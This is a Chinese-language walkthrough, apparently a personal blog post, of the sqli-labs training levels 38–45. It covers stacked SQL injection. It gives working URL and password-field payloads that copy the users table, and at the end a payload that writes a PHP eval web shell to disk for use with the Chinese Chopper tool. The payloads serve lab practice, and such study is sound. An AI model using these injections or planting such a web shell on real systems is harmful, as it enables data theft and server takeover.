sqli lab 38-45

时间:2021-10-15 01:36:51

less38
Stacked injections:堆叠注入。从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。

而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 ;表示语句结束。

这样我们就想到了是不是可以多句一起使用。这个叫做stacked injection。
我们可以在mysql命令行中进行测试:

Select * from users; create table test1 like users;
Show tables;
Select * from users; drop table test1;
Select * from users; select 1,2,3;

 

sqli lab 38-45

 

 

sqli lab 38-45

http://192.168.50.100/sqli-labs/Less-38/?id=1‘; create table ghz like users ;--

 

sqli lab 38-45

 

 

 

 

http://192.168.50.100/sqli-labs/Less-38/?id=1‘; create table ghz like users ;--  

 

但其实这样只是复制了表的结构 美哟做到复制表的数据

 

参考链接 :https://blog.csdn.net/qi95719/article/details/60883148

 

http://192.168.50.100/sqli-labs/Less-38/?id=1‘;create table ghz38 like users;insert into ghz38 select *from users; --

 

 

 

 

 

 sqli lab 38-45

 

 sqli lab 38-45

 

less-39

id=1

一样的道理,只是闭合sql语句不同:

 http://192.168.50.100/sqli-labs/Less-39/?id=1;create table ghz39 like users;insert into ghz39 select *from users; --

 

 

less-40

 id=(‘1’),并且错误不回显

 一样的道理,只是闭合sql语句不同:

 http://192.168.50.100/sqli-labs/Less-40/?id=1‘);create table ghz40 like users;insert into  ghz40 select *from users; --

 

less41

sqli lab 38-45

?id=1’  并且没有回显信息 也没有错误提示  这就是和39关的区别

 

sqli lab 38-45

 

 

 

 

 

id=1,并且错误不回显

一样的道理,只是闭合sql语句不同:

 http://192.168.50.100/sqli-labs/Less-41/?id=1;create table ghz41 like users;insert into ghz41 select *from users; --

 

less42

sqli lab 38-45

 

 

 

 

 

 

 

 

 

 sqli lab 38-45

 

 

 

 

 

 

 42

 a‘;create table ghz42 like users;insert into ghz42 select *from users; #

sqli lab 38-45

 

 

 

 

less-43

 

与42关基本一样。区别在:id=(’1‘)

password构造语句:a‘);create table ghz43 like users;insert into ghz43 select *from users; #

 

less-44

与42关基本一样。区别在:没有回显信息    id=’1‘

password构造语句:a‘;create table ghz44 like users;insert into ghz44 select *from users; #

less-45

与42关基本一样。区别在:没有回显信息  id=(’1‘)

password构造语句:a‘);create table ghz45 like users;insert into ghz45 select *from users; #

 

 

 

另一种方式  使用中国菜刀链接

a’;select  ‘<?php @eval($_POST[“ghz”]);?>‘  into outfile ‘C:\PhpStudy\PHPTutorial\WWW\sqli-labs\Less-42\ghz42.php’ #

 

 

sqli lab 38-45